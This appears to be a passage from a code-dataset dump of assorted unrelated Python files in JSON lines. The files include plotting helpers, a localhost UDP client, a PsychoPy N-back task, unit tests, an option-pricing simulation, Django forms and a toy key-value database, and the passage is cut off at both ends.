np.shape(flow_img)[0] * step, step)\n y = np.arange(0, np.shape(flow_img)[1] * step, step)\n U, V = np.meshgrid(y, x)\n M = np.hypot(u, v)\n plt.quiver(U, V, u, -v, M, color='g')\n plt.imshow(img, alpha=0.5, cmap='gray')\n # plt.colorbar(cmap='Pastel2')\n plt.title('Orientation OF')\n plt.xticks([])\n plt.yticks([])\n plt.show()\n\n def magnitudeOP_save(self,flow_img, path, alg, type):\n img = plt.imread(path)\n flow_color = flow_vis.flow_to_color(flow_img[:, :, :2], convert_to_bgr=False)\n plt.imshow(flow_color)\n plt.imshow(img, alpha=0.2, cmap='gray')\n plt.title('Magnitude OF - ' + alg + ' - ' + type)\n plt.xticks([])\n plt.yticks([])\n plt.show()\n\n plt.savefig('magnitudeOP - ' + alg + ' - ' + type)","sub_path":"week4/plotsOF.py","file_name":"plotsOF.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"453017017","text":"from socket import *\n\nclient = socket(AF_INET, SOCK_DGRAM)\n# client.bind('127.0.0.1', 8080)\n\nwhile True:\n msg=input('>>').strip()\n client.sendto(msg.encode('gb2312'), ('127.0.0.1', 8080))\n\n data, server_addr = client.recvfrom(1024)\n print(data, server_addr)\n\nclient.close()\n","sub_path":"网络编程/06基于udp协议的客接字/udp协议不会粘包/客户端.py","file_name":"客户端.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"113838849","text":"from pathlib import Path\nfrom PIL import Image\n\nspts_file = open('split_points.txt')\n\ncount = 0\n\nfor img_filename in Path('.').glob('*.jpg'):\n print(img_filename)\n img = Image.open(img_filename)\n hpts, vpts = spts_file.readline()[:-1].split('/')\n hpts = ('0,' + hpts + ',' + str(img.height)).split(',')\n vpts = ('0,' + vpts + ',' + str(img.width)).split(',')\n print(hpts)\n print(vpts)\n\n for i in range(len(hpts)-1):\n for j in range(len(vpts)-1):\n print([int(vpts[j]), int(hpts[i]), int(vpts[j+1]), int(hpts[i+1])])\n subimg = img.crop([int(vpts[j]), int(hpts[i]), int(vpts[j+1]), int(hpts[i+1])])\n\n subimg.save('cut/' + str(count).zfill(4) + '.jpg')\n count += 1\n\n","sub_path":"pinplate/pinplate_large/image_spliter.py","file_name":"image_spliter.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"159720094","text":"from psychopy import visual, event, core\nimport pandas as pd\nimport random\nimport time as systime\n\n#########\n# setup #\n#############################\n\n#############\n# Make lists / define functions #\n#############\n\n\ndef makeMatches(in_list, trials=5,\n threshold=0, n_back=2,\n keep_list_stats=True, verbose=False):\n '''Creates the matches in a given list.if a random number is greater than threshold,\n then match the letters at positions [idx] and [idx-n_back]\n in_list: list of letters, strings, etc\n trials: how many trials to run\n threshold: type(float) in range(0,1)ld\n keep_stats: Bool: will output a list with information on\n the matches (position, character) and their frequency\nverbose: Bool: prints information about the lists for immediate viewing\n '''\n\n # done this way to avoid changing original list, confirm necessity?\n out_list = [i for i in in_list]\n list_stats = [] # list holding the character and positions it was matched at\n num_matches = 0\n for idx, char in enumerate(in_list):\n if idx > 1:\n if (random.random() > threshold):\n out_list[idx] = in_list[idx-n_back]\n list_stats.append([(idx, idx-2), char]\n ) if keep_list_stats else None\n num_matches += 1\n\n real_match_rate = num_matches / (len(in_list) - 2)\n # show _stats or not\n if verbose: # switch this out of a print statement for final thing so it doesnt show up\n print(\n f\"{num_matches} of {len(in_list)-2} possible matches: {real_match_rate* 100} %\")\n print(f\"in_list\\n\", in_list, \"\\nmatched list\\n\", out_list)\n else:\n pass\n\n if keep_list_stats:\n list_stats.insert(0, [(num_matches), \"number of matches\"])\n list_stats.insert(0, [(real_match_rate), \"actual match rate\"])\n return(out_list, list_stats)\n else:\n return(out_list)\n\n\n#####################\n# create trial list #\n#####################\n\nn_trials = 15\n# need to think of this inverted with how the code is currently written\nmatch_frequency_threshold = 0.5\nalphabet = [i for i in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"]\ninitial_letters = [random.choice(alphabet) for i in range(n_trials)]\n\ntrial_list = makeMatches(initial_letters, trials=n_trials,\n threshold=match_frequency_threshold, keep_list_stats=False)\nptt = 0.8\n# ptt is the amount of time between trials, stands for \"per time trial\"\n\n######################\n# Window setup below #\n######################\nmywin = visual.Window(fullscr=True, screen=0, allowGUI=False, allowStencil=False,\n monitor='testMonitor', color=[0, 0, 0], colorSpace='rgb')\n\nclock = core.Clock() # this is a clock\n\npress_times = [] # List records the data\n\n\n##############################\n\nintro = True\n\nif intro:\n # TODO Find out how to display the last sentence in text_string\n text_string = f\"This is an N-Back task. This task is a test of working memory. You will be presented with a random series of letters, one by one. For this task, you will press the spacebar if you see a letter that was repeated two letters back. For example, if you see a sequence such as A, D, A, then you will have to press the spacebar. You will be given a sequence of {n_trials} letters. \"\n textList = text_string.split(\" \")\n for msg in textList:\n displayMsg = visual.TextStim(\n mywin, text=msg, pos=(0.5, 0))\n mywin.flip()\n displayMsg.draw()\n core.wait(3.0)\n\n countdownMessage = visual.TextStim(\n\tmywin, text='The task will begin after this countdown.', pos=(0.5, 0))\n countdownMessage.autoDraw = True\n mywin.flip()\n core.wait(3.5)\n countdownMessage.text = ' '\n mywin.flip()\n core.wait(0.5)\n\n\n\ncountdownString = \"5,4,3,2,1\"\ncountdown = countdownString.split(',')\n# ct is the countdown timer\n\nfor num in countdown:\n txtDisplay = visual.TextStim(\n\tmywin, text = num , alignHoriz='left', alignVert='center', pos=(0, 0))\n mywin.flip()\n txtDisplay.draw()\n core.wait(0.5)\n \n\n###################\n# display letters #\n###################\n\ntrialTime = core.Clock()\n\nfor idx, char in enumerate(trial_list):\n\n trialLength = core.CountdownTimer()\n keys = event.getKeys(keyList=[\"space\"], timeStamped = trialLength)\n txtDisplay.text = char\n mywin.flip()\n txtDisplay.draw()\n print(keys, trialLength.getTime(), txtDisplay.text)\n press_times.append([keys, trialLength.getTime(), txtDisplay.text])\n core.wait(ptt)\n txtDisplay.text = \"+\"\n mywin.flip()\n txtDisplay.draw()\n core.wait(ptt)\n trialLength.reset()\n # currently appending in tuple form list_stats = [] # list holding the character and positions it was matched at\n\nendMessage = visual.TextStim(\n mywin, text = ' ', pos=(0.5, 0))\nendMessage.autoDraw=True\nmywin.flip()\ncore.wait(1.5)\nendMessage.text = 'You have completed the N-Back task. Thank you!'\nmywin.flip()\ncore.wait(3.0)\n\nprint(press_times)\n\n# removed ptname, kept timestamp; timestamp is format Y(year)M(month)D(day)H(hour)M(minute)S(second)\n\nts = systime.localtime()\ntimestamp = str(systime.strftime(\"Y%yM%mD%dH%HM%MS%S\",ts))\ndatafile = open(f\"datafile_{timestamp}.txt\", \"w+\")\n\n################\n# writing file #\n################\n\n# add datafile.write(trialconditions like time, n_trials, time per window, etc)\n\n\nfor line in press_times:\n datafile.write(str(line))\n datafile.write(\"\\n\")\ndatafile.close()\n\n# #not sure needed\n# for line in n_list:\n# datafile.write(line,)\n# datafile.write(\"\\n\")\n\n0# for line in stats:\n# datafile.write(line)\n# datafile.write(\"\\n\")\n","sub_path":"nBackTest.py","file_name":"nBackTest.py","file_ext":"py","file_size_in_byte":5645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"196173256","text":"# import time\n# import serial\n# import sqlite3\n# import json\n# import cv2\n# import pandas as pd\n# import numpy as np\n# import matplotlib.pyplot as plt\n# from scipy import signal\n# from scipy.signal import argrelextrema\nfrom BiometricSignal import *\nfrom Segment import *\n\nfrom Templates import *\n\n\nplt.style.use('seaborn')\n\n\n# fig2, ax2 = plt.subplots()\n\n\n# ----------------------------------------------------------------------------------------------\n# CODE FOR TESTING BiometricSignal\n# ----------------------------------------------------------------------------------------------\n\nbiosig = BiometricSignal()\nbiosig.filter_captured_signal()\nbiosig.amend_signal()\nbiosig.find_r_peaks()\nbiosig.standardise_signal()\n\nfig1,ax1 = plt.subplots()\nax1.plot(biosig.standardised_signal, color='#444444')\nax1.set_title('Standardised ECG Signal')\nax1.set_ylabel('Millivolts')\nax1.set_xlabel('Time')\n\n# ----------------------------------------------------------------------------------------------\n# CODE FOR TESTING Segment\n# ----------------------------------------------------------------------------------------------\n\nseg = Segment(biosig)\nfig2, ax2 = plt.subplots()\nax2.plot(seg.combined_seg, color='#444444')\nax2.set_title('Mean Segment')\nax2.set_ylabel('Millivolts')\nax2.set_xlabel('Time')\n\n# ----------------------------------------------------------------------------------------------\n# CODE FOR TESTING Templates\n# ----------------------------------------------------------------------------------------------\n\ntempl = Templates('Sam')\na_user_template = templ.get_template('Sam')\nfig3, ax3 = plt.subplots()\nax3.plot(seg.combined_seg, color='#444444')\nax3.set_title('An User\\'s template')\nax3.set_ylabel('Millivolts')\nax3.set_xlabel('Time')\nplt.tight_layout()\nplt.show()\n\n\n\n\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"597676846","text":"import unittest\nfrom smtm import SimulationTrader\nfrom unittest.mock import *\nimport requests\n\n\nclass SimulationTraderTests(unittest.TestCase):\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def test_initialize_initialize_virtual_market(self):\n trader = SimulationTrader()\n\n class DummyHttp:\n pass\n\n http = DummyHttp()\n trader.market.initialize = MagicMock()\n trader.market.deposit = MagicMock()\n trader.initialize(http, \"mango\", 500, 5000)\n trader.market.initialize.assert_called_once_with(http, \"mango\", 500)\n trader.market.deposit.assert_called_once_with(5000)\n self.assertEqual(trader.is_initialized, True)\n\n def test_initialize_set_is_initialized_False_when_invalid_market(self):\n trader = SimulationTrader()\n\n class DummyHttp:\n pass\n\n http = DummyHttp()\n trader.market = \"make exception\"\n trader.initialize(http, \"mango\", 500, 5000)\n self.assertEqual(trader.is_initialized, False)\n\n def test_send_request_call_callback_with_result_of_market_handle_quest(self):\n trader = SimulationTrader()\n trader.is_initialized = True\n\n dummy_request = {\"id\": \"mango\", \"type\": \"orange\", \"price\": 500, \"amount\": 10}\n callback = MagicMock()\n trader.market.send_request = MagicMock(return_value=\"banana\")\n trader.send_request(dummy_request, callback)\n trader.market.send_request.assert_called_once_with(dummy_request)\n callback.assert_called_once_with(\"banana\")\n\n def test_send_request_call_raise_exception_SystemError_when_is_initialized_False(self):\n trader = SimulationTrader()\n trader.is_initialized = False\n\n with self.assertRaises(SystemError):\n trader.send_request(None, None)\n\n def test_send_request_call_raise_exception_SystemError_when_market_is_invalid(self):\n trader = SimulationTrader()\n trader.is_initialized = True\n trader.market = \"make exception\"\n\n with self.assertRaises(SystemError):\n trader.send_request(None, None)\n\n def test_send_request_call_raise_exception_SystemError_when_callback_make_TypeError(self):\n trader = SimulationTrader()\n trader.is_initialized = True\n\n with self.assertRaises(SystemError):\n trader.send_request(None, None)\n\n def test_send_account_info_request_call_callback_with_virtual_market_get_balance_result(self):\n trader = SimulationTrader()\n trader.is_initialized = True\n callback = MagicMock()\n trader.market.get_balance = MagicMock(return_value=\"banana\")\n trader.send_account_info_request(callback)\n trader.market.get_balance.assert_called_once()\n callback.assert_called_once_with(\"banana\")\n\n def test_send_account_info_request_call_raise_exception_SystemError_when_is_initialized_False(\n self,\n ):\n trader = SimulationTrader()\n trader.is_initialized = False\n\n with self.assertRaises(SystemError):\n trader.send_account_info_request(None)\n\n def test_send_account_info_request_call_raise_exception_SystemError_when_market_is_invalid(\n self,\n ):\n trader = SimulationTrader()\n trader.is_initialized = True\n trader.market = \"make exception\"\n\n with self.assertRaises(SystemError):\n trader.send_account_info_request(None)\n\n def test_send_account_info_request_call_raise_exception_SystemError_when_callback_make_TypeError(\n self,\n ):\n trader = SimulationTrader()\n trader.is_initialized = True\n\n with self.assertRaises(SystemError):\n trader.send_account_info_request(None)\n","sub_path":"tests/simulation_trader_test.py","file_name":"simulation_trader_test.py","file_ext":"py","file_size_in_byte":3724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"27205610","text":"\"\"\"\n Name : c14_16_up_and_out_call.py\n Book : Python for Finance (2nd ed.)\n Publisher: Packt Publishing Ltd. \n Author : Yuxing Yan\n Date : 6/6/2017\n email : yany@canisius.edu\n paulyxy@hotmail.com\n\"\"\"\n\nimport scipy as sp \nfrom scipy import log,exp,sqrt,stats \n#\ndef bsCall(S,X,T,r,sigma):\n d1=(log(S/X)+(r+sigma*sigma/2.)*T)/(sigma*sqrt(T)) \n d2 = d1-sigma*sqrt(T)\n return S*stats.norm.cdf(d1)-X*exp(-r*T)*stats.norm.cdf(d2)\n#\ndef up_and_out_call(s0,x,T,r,sigma,n_simulation,barrier):\n n_steps=100. \n dt=T/n_steps \n total=0 \n for j in sp.arange(0, n_simulation): \n sT=s0 \n out=False\n for i in range(0,int(n_steps)): \n e=sp.random.normal() \n sT*=sp.exp((r-0.5*sigma*sigma)*dt+sigma*e*sp.sqrt(dt)) \n if sT>barrier: \n out=True \n if out==False: \n total+=bsCall(s0,x,T,r,sigma) \n return total/n_simulation \n#\ns0=40. # today stock price \nx=40. # exercise price \nbarrier=42 # barrier level \nT=0.5 # maturity in years \nr=0.05 # risk-free rate \nsigma=0.2 # volatility (annualized) \nn_simulation=100 # number of simulations \nsp.random.seed(12) # fix a seed\n#\nresult=up_and_out_call(s0,x,T,r,sigma,n_simulation,barrier) \nprint('up-and-out-call = ', round(result,3))\n\n\n\n\n\n","sub_path":"Python-for-Finance-Second-Edition-master/Chapter14/c14_16_up_and_out_call.py","file_name":"c14_16_up_and_out_call.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"273712590","text":"# coding: utf8\n\"\"\"\n Speed tests\n -----------\n\n Note: this file is not named test_*.py as it is not part of the\n test suite ran by pytest.\n\n :copyright: (c) 2012 by Simon Sapin.\n :license: BSD, see LICENSE for more details.\n\"\"\"\n\n\nfrom __future__ import unicode_literals, division\n\nimport sys\nimport os.path\nimport contextlib\nimport timeit\nimport functools\n\nfrom cssutils import parseString\n\nfrom .. import tokenizer\nfrom ..css21 import CSS21Parser\nfrom ..parsing import remove_whitespace\n\n\nCSS_REPEAT = 4\nTIMEIT_REPEAT = 3\nTIMEIT_NUMBER = 20\n\n\ndef load_css():\n filename = os.path.join(os.path.dirname(__file__),\n '..', '..', 'docs', '_static', 'custom.css')\n with open(filename, 'rb') as fd:\n return b'\\n'.join([fd.read()] * CSS_REPEAT)\n\n\n# Pre-load so that I/O is not measured\nCSS = load_css()\n\n\n@contextlib.contextmanager\ndef install_tokenizer(name):\n original = tokenizer.tokenize_flat\n try:\n tokenizer.tokenize_flat = getattr(tokenizer, name)\n yield\n finally:\n tokenizer.tokenize_flat = original\n\n\ndef parse(tokenizer_name):\n with install_tokenizer(tokenizer_name):\n stylesheet = CSS21Parser().parse_stylesheet_bytes(CSS)\n result = []\n for rule in stylesheet.rules:\n selector = rule.selector.as_css()\n declarations = [\n (declaration.name, len(list(remove_whitespace(declaration.value))))\n for declaration in rule.declarations]\n result.append((selector, declarations))\n return result\n\nparse_cython = functools.partial(parse, 'cython_tokenize_flat')\nparse_python = functools.partial(parse, 'python_tokenize_flat')\n\n\ndef parse_cssutils():\n stylesheet = parseString(CSS)\n result = []\n for rule in stylesheet.cssRules:\n selector = rule.selectorText\n declarations = [\n (declaration.name, len(list(declaration.propertyValue)))\n for declaration in rule.style.getProperties(all=True)]\n result.append((selector, declarations))\n return result\n\n\ndef check_consistency():\n result = parse_python()\n #import pprint\n #pprint.pprint(result)\n assert len(result) > 0\n if tokenizer.cython_tokenize_flat:\n assert parse_cython() == result\n assert parse_cssutils() == result\n version = '.'.join(map(str, sys.version_info[:3]))\n print('Python {}, consistency OK.'.format(version))\n\n\ndef warm_up():\n is_pypy = hasattr(sys, 'pypy_translation_info')\n if is_pypy:\n print('Warming up for PyPy...')\n for i in range(80):\n for i in range(10):\n parse_python()\n parse_cssutils()\n sys.stdout.write('.')\n sys.stdout.flush()\n sys.stdout.write('\\n')\n\n\ndef time(function):\n seconds = timeit.Timer(function).repeat(TIMEIT_REPEAT, TIMEIT_NUMBER)\n miliseconds = int(min(seconds) * 1000)\n return miliseconds\n\n\ndef run():\n if tokenizer.cython_tokenize_flat:\n data_set = [\n ('tinycss + speedups ', parse_cython),\n ]\n else:\n print('Speedups are NOT available.')\n data_set = []\n data_set += [\n ('tinycss WITHOUT speedups', parse_python),\n ('cssutils ', parse_cssutils),\n ]\n label, function = data_set.pop(0)\n ref = time(function)\n print('{} {} ms'.format(label, ref))\n for label, function in data_set:\n result = time(function)\n print('{} {} ms {:.2f}x'.format(label, result, result / ref))\n\n\nif __name__ == '__main__':\n check_consistency()\n warm_up()\n run()\n","sub_path":"waftools/rutabaga_css/tinycss/tests/speed.py","file_name":"speed.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"155748710","text":"#----------------------------------------------\n# @author: Vijay Chilaka \n# @date: 22/01/2021\n#----------------------------------------------\nimport dns\nimport pymongo\ndef is_model_needed(annotation,user,threshold):\n ''' Checks if model should be built based on the threshold. \n Threshold here refers to number of images needed to build a model (as specified by user). ''' \n print(\"********inside is_model_needed*******\")\n MongoConnection = pymongo.MongoClient('localhost',27017)\n database = MongoConnection.get_database(\"test_database\")\n collections = database.list_collection_names()\n print(collections)\n count = 0\n for collection in collections:\n if(count >= 1):\n return True\n else:\n if(user in collection):\n anno_info = database[collection].find({\"name\":annotation})\n for x in anno_info:\n count += 1\n if(count >= 1):\n return True\n print(count)\n print(\"**************************\")\n return False\n","sub_path":"annotator/pre_lookup.py","file_name":"pre_lookup.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"630693415","text":"import pygame\n\n\nclass UI:\n display_surf = None\n\n def __init__(self):\n self.running = True\n self.size = self.width, self.height = 600, 600\n self.state = [[Button((0,0)),Button((0,1)),Button((0,2))],\n [Button((1,0)),Button((1,1)),Button((1,2))],\n [Button((2,0)),Button((2,1)),Button((2,2))]]\n\n pygame.init()\n UI.display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)\n self.running = True\n\n UI.display_surf.fill((255, 255, 255))\n pygame.draw.line(UI.display_surf, pygame.Color(\"black\"), (self.width / 3, 0), (self.width / 3, self.height), 2)\n pygame.draw.line(UI.display_surf, pygame.Color(\"black\"), (self.width * 2 / 3, 0),(self.width * 2 / 3, self.height), 2)\n pygame.draw.line(UI.display_surf, pygame.Color(\"black\"), (0, self.height / 3), (self.width, self.height / 3),2)\n pygame.draw.line(UI.display_surf, pygame.Color(\"black\"), (0, self.height * 2 / 3),(self.width, self.height * 2 / 3), 2)\n\n def render(self, game):\n for index_y, row in enumerate(self.state):\n for index_x, button in enumerate(row):\n button.state = game.state[index_y, index_x]\n button.render()\n\n pygame.display.update()\n\n\nclass Button:\n\n def __init__(self, position):\n self.state = None\n self.position = position\n self.size = 200\n self.x = (self.position[0] * self.size)\n self.y = (self.position[1] * self.size)\n self.rect = pygame.Rect(self.x, self.y, 200, 200)\n\n def render(self):\n color = (255,255,255)\n if self.state == 1:\n color = (255, 0, 0)\n if self.state == 2:\n color = (0, 0, 255)\n\n pygame.draw.rect(UI.display_surf, color, (self.x+50, self.y+50, 100, 100))","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"374834251","text":"from django import forms\nfrom django.contrib import auth\n\nfrom .models import Permiso, Usr, Setting, Direccion\n\n\nclass FrmPermiso(forms.ModelForm):\n class Meta:\n model = Permiso\n fields = [\n 'nombre',\n 'mostrar_como',\n 'vista',\n 'permiso_padre',\n 'posicion',\n 'es_operacion',\n 'content_type',\n 'descripcion',\n ]\n\n\nclass FrmUsuario(forms.ModelForm):\n class Meta:\n model = Usr\n fields = [\n 'usuario',\n 'contraseña',\n 'is_active',\n 'is_superuser',\n 'first_name',\n 'last_name',\n 'apellido_materno',\n 'email',\n 'telefono',\n 'celular',\n 'fotografia',\n 'groups',\n 'depende_de',\n ]\n labels = {\n 'first_name': 'Nombre',\n 'last_name': 'Apellod Paterno',\n 'email': 'E-Mail',\n 'groups': 'Perfiles'\n }\n help_texts = {\n 'groups': '',\n 'is_active': '',\n 'is_superuser': ''\n }\n widgets = {\n 'telefono': forms.TextInput(attrs={'type': 'tel'}),\n 'celular': forms.TextInput(attrs={'type': 'tel'})\n }\n\n\nclass AccUsr(forms.Form):\n usr = forms.CharField(\n label=\"Usuario\",\n max_length=50,\n widget=forms.TextInput(attrs={\n 'class': 'form-control',\n 'autocomplete': \"off\",\n 'placeholder': \"Usuario\",\n 'autofocus': \"autofocus\"\n }))\n pwd = forms.CharField(\n label=\"Contraseña\",\n max_length=250,\n widget=forms.PasswordInput(attrs={\n 'class': 'form-control',\n 'autocomplete': \"off\",\n 'placeholder': \"Contraseña\"\n }))\n\n def clean(self):\n username = self.cleaned_data.get('usr')\n password = self.cleaned_data.get('pwd')\n user = auth.authenticate(username=username, password=password)\n if not user or not user.is_active:\n raise forms.ValidationError(\n \"El usuario o la contraseña no son válidos.\")\n return self.cleaned_data\n\n def login(self, request):\n username = self.cleaned_data.get('usr')\n password = self.cleaned_data.get('pwd')\n user = auth.authenticate(username=username, password=password)\n return user\n\n\nclass FrmSetting(forms.ModelForm):\n\n class Meta:\n model = Setting\n fields = [\n 'seccion',\n 'nombre',\n 'nombre_para_mostrar',\n 'tipo',\n 'es_multiple'\n ]\n\n\nclass FrmDireccion(forms.ModelForm):\n\n class Meta:\n model = Direccion\n fields = [\n 'calle',\n 'numero_exterior',\n 'numero_interior',\n 'colonia',\n 'municipio',\n 'estado',\n 'codigo_postal'\n ]\n","sub_path":"initsys/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"450412808","text":"# Klasse \"Highscore\"\nclass Highscore:\n # Liste aus Datei lesen\n def __init__(self):\n self.liste = []\n if not glob.glob(\"spiel_datei_oop_highscore.csv\"):\n return\n d = open(\"spiel_datei_oop_highscore.csv\")\n zeile = d.readline()\n while(zeile):\n teil = zeile.split(\";\")\n name = teil[0]\n zeit = teil[1][0:len(teil[1])-1]\n zeit = zeit.replace(\",\", \".\")\n self.liste.append([name, float(zeit)])\n zeile = d.readline()\n d.close()\n\n # Liste ändern\n def aendern(self, name, zeit):\n # Mitten in Liste schreiben\n gefunden = False\n for i in range(len(self.liste)):\n # Einsetzen in Liste\n if zeit < self.liste[i][1]:\n self.liste.insert(i, [name, zeit])\n gefunden = True\n break\n\n # Ans Ende der Liste schreiben\n if not gefunden:\n self.liste.append([name, zeit])\n\n # Liste ändern, in Datei speichern\n def speichern(self, name, zeit):\n self.aendern(name, zeit)\n d = open(\"spiel_datei_oop_highscore.csv\", \"w\")\n for element in self.liste:\n name = element[0]\n zeit = str(element[1]).replace(\".\", \",\")\n d.write(name + \";\" + zeit + \"\\n\")\n d.close()\n\n # Liste anzeigen\n def __str__(self):\n # Highscore nicht vorhanden\n if not self.liste:\n return \"Keine Highscores vorhanden\"\n\n # Ausgabe Highscore\n ausgabe = \" P. Name Zeit\\n\"\n for i in range(len(self.liste)):\n ausgabe += f\"{i+1:2d}. {self.liste[i][0]:10}\" \\\n f\"{self.liste[i][1]:5.2f} sec\\n\"\n if i >= 9:\n break\n return ausgabe","sub_path":"exercise/spiel_datei_oop_8_32_T3_v_T3.py","file_name":"spiel_datei_oop_8_32_T3_v_T3.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"46722863","text":"### Find the list of root that makes minimum height tree by removing leaf node.\n###\nimport collections\n\n\ndef find_min_height_trees(n, edges):\n if n <= 1:\n return [0]\n\n graph = collections.defaultdict(list)\n for i, j in edges:\n graph[i].append(j)\n graph[j].append(i)\n\n leaves = []\n for i in range(n + 1):\n if len(graph[i]) == 1:\n leaves.append(i)\n\n while n > 2:\n n -= len(leaves)\n new_leaves = []\n for leaf in leaves:\n neighbor = graph[leaf].pop()\n graph[neighbor].remove(leaf)\n\n if len(graph[neighbor]) == 1:\n new_leaves.append(neighbor)\n\n leaves = new_leaves\n\n return leaves\n\n\nprint(find_min_height_trees(4, [[1, 0], [1, 2], [1, 3]]))\nprint(find_min_height_trees(6, [[0, 3], [1, 3], [2, 3], [4, 3], [5, 4]]))\n","sub_path":"14 Tree/49 Minimum Height Trees/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"632120806","text":"# Determine if the sum of two integers is equal to the given value\n\n# 1 7 | 1+6 === 7\n# 2 6 | 5+2 === 7\n# 3 5 |\n\n\ndef sum_of_two(arr,val):\n dic={}\n for i in arr:\n if i not in dic.keys():\n dic[i]=0\n dic[i]+=1;\n\n for i in arr:\n if (val-i) in dic.keys():\n if ((i) == (val-i) and dic[val-i] <= 1):\n continue\n else:\n return True\n\n return False\n\nprint(sum_of_two([1,2,7,6,5,3,6,6],10))","sub_path":"second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"457388709","text":"from django.urls import path\nfrom . import views\n\napp_name = 'blog'\n\n\nurlpatterns = [\n path('', views.post_list, name='post_list'),\n path('////', views.post_detail, name='post_detail'),\n path('about/', views.about, name='about'),\n path('tag//', views.tag, name='tag')\n]","sub_path":"mysite/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"17703397","text":"## SIMPLE DATABASE - MITESH MEHTA \r\n## Implemented on Eclipse Juno with PyDev (version 2.7.5)\r\n## Python version: 3.3.2\r\nimport sys\r\nimport copy\r\n\r\nclass Database():\r\n\r\n ## Constructor will initialize a dictionary that will store variables and their values as key:value\r\n ## Constructor gets called as soon as the program is executed. \r\n def __init__(self):\r\n print ('Connected to Database\\n')\r\n self.db_dict = {} ## This is database dictionary, that will store variable:value pairs\r\n self.transactions = [] ## List of open transactions. Each transaction is basically an updated db_dict\r\n \r\n ## SET var value - Sets the variable 'var' to 'value' \r\n def setVar(self, var, value):\r\n latest_db_dict = self.get_latest_db_dict()\r\n latest_db_dict[var] = value\r\n \r\n ## GET var : Returns the value of variable 'var'. If variable not found, returns NULL (None) \r\n def getVar(self, var):\r\n latest_db_dict = self.get_latest_db_dict()\r\n return latest_db_dict.get(var)\r\n \r\n ## UNSET var: Sets the variable 'var' to None (null)\r\n def unsetVar(self, var):\r\n latest_db_dict = self.get_latest_db_dict()\r\n del latest_db_dict[var]# = None\r\n \r\n ## NUMEQUALTO value: Returns the number of variables whose value matches the value passed in \r\n def getVarsEqualToValue(self, value):\r\n latest_db_dict = self.get_latest_db_dict()\r\n count = 0\r\n for k, v in latest_db_dict.items():\r\n if v == value:\r\n count = count + 1\r\n return count\r\n \r\n ## END - Exits the program execution\r\n def endConnection(self):\r\n print('Ending connection with DB\\n')\r\n sys.exit(0)\r\n \r\n ## BEGIN - creates a new transaction\r\n ## Copies the dictionary from previous open transaction, if any, else copies the database dictionary \r\n def create_new_transaction(self):\r\n if self.transactions:\r\n latest_trans_dict = self.get_latest_transaction_dict()\r\n trans_dict = copy.deepcopy(latest_trans_dict)\r\n else:\r\n trans_dict = copy.deepcopy(self.db_dict)\r\n self.transactions.append(trans_dict)\r\n \r\n ## ROLLBACK - undoes changes made in the latest open transaction\r\n def rollback_transaction(self):\r\n if not self.transactions:\r\n print('No Transaction')\r\n return\r\n self.transactions.pop()\r\n \r\n ## COMMIT - copies the latest transaction dictionary to database dictionary \r\n def commit_transaction(self):\r\n if not self.transactions:\r\n print('No Transaction')\r\n return\r\n \r\n latest_trans_dict = self.get_latest_transaction_dict()\r\n self.db_dict = copy.deepcopy(latest_trans_dict)\r\n self.transactions = []\r\n \r\n ## helper function to get latest transaction dictionary, if any \r\n def get_latest_transaction_dict(self):\r\n latest_trans_dict = None\r\n if self.transactions: \r\n n = len(self.transactions)\r\n latest_trans_dict = self.transactions[n-1]\r\n return latest_trans_dict\r\n \r\n ## helper function to get latest transaction dictionary, if any or the database dictionary where any updates are to be performed.\r\n def get_latest_db_dict(self):\r\n latest_db_dict = None\r\n if self.transactions: \r\n latest_db_dict = self.get_latest_transaction_dict()\r\n \r\n if latest_db_dict != None:\r\n return latest_db_dict\r\n \r\n return self.db_dict\r\n\r\n\r\n## This function will process all the commands that user will input.\r\n## Any command other than BEGIN, ROLLBACK, COMMIT, SET, GET, UNSET, NUMEQUALTO and END (with correct number of arguments respectively), will be treated as invalid command\r\n## Note: all commands, variables, values are case sensitive \r\ndef process_command(db, cmd):\r\n \r\n invalid_cmd = True\r\n \r\n if cmd == 'BEGIN':\r\n invalid_cmd = False\r\n db.create_new_transaction()\r\n \r\n elif cmd == 'ROLLBACK':\r\n invalid_cmd = False\r\n db.rollback_transaction()\r\n \r\n elif cmd == 'COMMIT':\r\n invalid_cmd = False\r\n db.commit_transaction()\r\n \r\n elif cmd.startswith('SET'):\r\n cmd_split 